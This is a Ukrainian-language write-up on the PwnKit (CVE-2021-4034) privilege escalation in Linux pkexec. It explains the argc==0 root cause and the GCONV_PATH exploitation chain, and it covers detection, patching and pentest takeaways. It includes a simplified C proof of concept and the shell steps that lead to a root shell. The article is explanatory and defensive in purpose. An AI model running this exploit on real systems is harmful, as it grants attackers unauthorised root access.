PwnKit (CVE-2021-4034): 12 років непомітна root-вразливість у Linux
CVE-2021-4034 — PwnKit
CVSS: 7.8 (High) · Дата розкриття: 25 січня 2022 · Компонент: Polkit pkexec (Linux) · Вік вразливості: 12+ років (з 2009)
PwnKit — вразливість у pkexec, SUID-бінарнику, що входить до складу Polkit і встановлений за замовчуванням практично в усіх основних Linux-дистрибутивах (Ubuntu, Debian, Fedora, CentOS, RHEL...). Вразливість дозволяє будь-якому непривілейованому користувачу отримати root буквально кількома командами.
Що таке pkexec
pkexec — аналог sudo, частина Polkit (PolicyKit), дозволяє виконувати команди з підвищеними привілеями згідно політики авторизації. Бінарник встановлений з SUID-біт, тобто завжди виконується з правами root, незалежно від того хто його запустив.
$ ls -la /usr/bin/pkexec
-rwsr-xr-x 1 root root 36936 ... /usr/bin/pkexec
# ^ SUID біт — виконується як root
Корінь проблеми — обробка argv[0]
pkexec отримує аргументи командного рядка через main(int argc, char **argv). Якщо програма викликається без жодних аргументів (argc == 0) — а це можливо через системний виклик execve() з порожнім масивом аргументів — pkexec все одно намагається звернутись до argv[1] для визначення команди, яку треба виконати.
// Спрощена вразлива логіка в main()
int main(int argc, char *argv[]) {
// ...
if (argc < 2) {
// argv[1] не існує, але код все одно намагається його читати
// через помилку в обробці шляху до бінарника
}
path = g_find_program_in_path(argv[1]); // argv[1] виходить за межі масиву
// ...
}
Через відсутність перевірки argc == 0, функція читає пам'ять за межами виділеного масиву argv — це фактично читає змінні середовища (envp), які в пам'яті процесу розташовані одразу після argv.
Зловмисник контролює envp (змінні середовища) — і може підставити туди шлях до власної shared-бібліотеки через GCONV_PATH або подібні змінні, яку pkexec завантажить з правами root.
Ланцюг експлуатації
1. Викликаємо pkexec з argc=0 (порожній argv) через execve()
2. pkexec намагається інтерпретувати envp як argv
3. Підставляємо GCONV_PATH=/tmp/evil у середовище
4. pkexec викликає g_printerr() → завантажує message catalog
через функцію iconv_open(), яка читає GCONV_PATH
5. Завантажується наша шкідлива .so бібліотека з /tmp/evil
6. Код в конструкторі бібліотеки виконується з правами root
PoC (для ізольованого лабораторного середовища — НЕ для продакшн-систем):
// pwnkit.c — спрощена ідея експлойту (повний PoC: github.com/arthepsy/CVE-2021-4034)
#include <stdio.h>
#include <unistd.h>
char *argv[] = { NULL };
char *envp[] = {
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=/bin/sh",
NULL
};
int main(void) {
execve("/usr/bin/pkexec", argv, envp); // argc == 0!
return 0;
}
gcc -o pwnkit pwnkit.c
mkdir -p GCONV_PATH/PWNKIT
# ... компіляція шкідливої gconv-бібліотеки, що спавнить shell
./pwnkit
# id
# uid=0(root) gid=0(root) groups=0(root)
Чому 12 років непоміченою
- Код
pkexecпрактично не змінювався з моменту першого релізу Polkit у 2009 argc == 0— настільки нетиповий edge-case, що рев'юери коду його просто не розглядали- Це локальна вразливість (потребує доступу до системи) — менш пріоритетна для security-аудиту ніж remote-вектори
- Знайдена дослідниками Qualys під час рутинного аудиту SUID-бінарників
Виявлення вразливих систем
# Перевірка версії polkit
pkexec --version
dpkg -l | grep policykit # Debian/Ubuntu
rpm -qa | grep polkit # RHEL/Fedora
# Вразливі версії: 0.105–0.119 (до патчу)
# Виправлено в 0.120 (січень 2022)
Мітигація
# Швидкий workaround — прибрати SUID-біт (ламає легітимний функціонал pkexec)
sudo chmod 0755 /usr/bin/pkexec
# Правильне рішення — оновити пакет
sudo apt update && sudo apt upgrade policykit-1 # Debian/Ubuntu
sudo dnf update polkit # Fedora/RHEL
Висновки для pentester'а
- SUID-бінарники — завжди топ-пріоритет в Linux privilege escalation enumeration (
find / -perm -4000 2>/dev/null) - Вразливість 12 років пролежала у коді, який мільярди систем запускали щодня — нагадування що "стабільний і давній" не означає "безпечний"
- PwnKit — приклад memory safety bug через відсутність елементарної перевірки (
argc == 0) — клас помилок, який C/C++ системно провокує - Після PwnKit і подібних знахідок (Qualys), SUID-бінарники в усіх дистрибутивах пройшли додатковий аудит — гарний приклад впливу одного дослідження на екосистему